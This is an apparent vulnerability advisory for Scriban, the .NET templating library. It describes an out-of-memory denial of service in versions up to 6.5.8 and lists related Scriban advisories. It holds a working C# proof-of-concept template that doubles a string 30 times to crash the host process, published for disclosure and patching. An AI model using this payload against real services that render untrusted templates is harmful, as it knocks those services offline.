GHSA-5rpf-x9jg-8j5p: Scriban Affected by Memory Exhaustion (OOM) via Unbounded String Generation (Denial of Service)
TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process.
Published Mar 19, 2026 · Updated Jul 6, 2026
Affected packages
scriban
- Ecosystem
- NuGet
- Affected
- <= 6.5.8
- Fixed in
- 6.6.0
- Check
dotnet list package --include-transitive
Scriban.Signed
- Ecosystem
- NuGet
- Affected
- <= 6.5.8
- Fixed in
- 6.6.0
- Check
dotnet list package --include-transitive
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
TemplateContext.LimitToString defaults to 0 (unlimited). While Scriban implements a default LoopLimit of 1000, an attacker can still cause massive memory allocation via exponential string growth. Doubling a string for just 30 iterations generates over 1GB of text, instantly exhausting heap memory and crashing the host process. Because no output size limit is enforced, repeated string concatenation results in exponential memory growth.
Proof of Concept (PoC): The following payload executes in under 30 iterations but results in ~1GB string allocation, crashing the process.
using Scriban;
string maliciousTemplate =
@"
{{
a = ""A""
for i in 1..30
a = a + a
end
a
}}";
var template = Template.Parse(maliciousTemplate);
var context = new TemplateContext();
try
{
template.Render(context);
}
catch (Exception ex)
{
Console.WriteLine("\nException: " + ex.Message);
}Impact: An attacker can supply a small template that triggers exponential string growth, forcing the application to allocate excessive memory. This leads to severe memory pressure, garbage collection thrashing, and eventual process termination (DoS).
Suggested Fix: Enforce a sensible default limit for string output. Set default LimitToString to 1MB (1,048,576 characters).
public int LimitToString { get; set; } = 1048576; Credited to adamus2.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More NuGet vulnerabilities
All NuGet entriesGHSA-6q7j-xr26-3h2c
Scriban: ExpressionDepthLimit guard is non-enforcing — parser-recursion DoS in 6.6.0–7.2.0 (incomplete fix for GHSA-wgh7-7m3c-fx25 / GHSA-p6q4-fgr8-vx4p)
medium5.5Jun 26, 2026GHSA-q6rr-fm2g-g5x8
Scriban: array * int (ScriptArray<T>.TryEvaluate) bypasses LoopLimit — incomplete fix for GHSA-c875-h985-hvrc, missed sibling of GHSA-24c8-4792-22hx
medium5.5Jun 26, 2026GHSA-24c8-4792-22hx
Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString
high8.7May 19, 2026GHSA-5wr9-m6jw-xx44
Scriban: Sandbox escape due to TypedObjectAccessorcache bypassing MemberFilter after TemplateContext reuse
critical9.1Mar 24, 2026GHSA-c875-h985-hvrc
Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service
high7.5Mar 24, 2026GHSA-m2p3-hwv5-xpqw
Scriban: Denial of Service via Unbounded Cumulative Template Output Bypassing LimitToString
medium6.5Mar 24, 2026
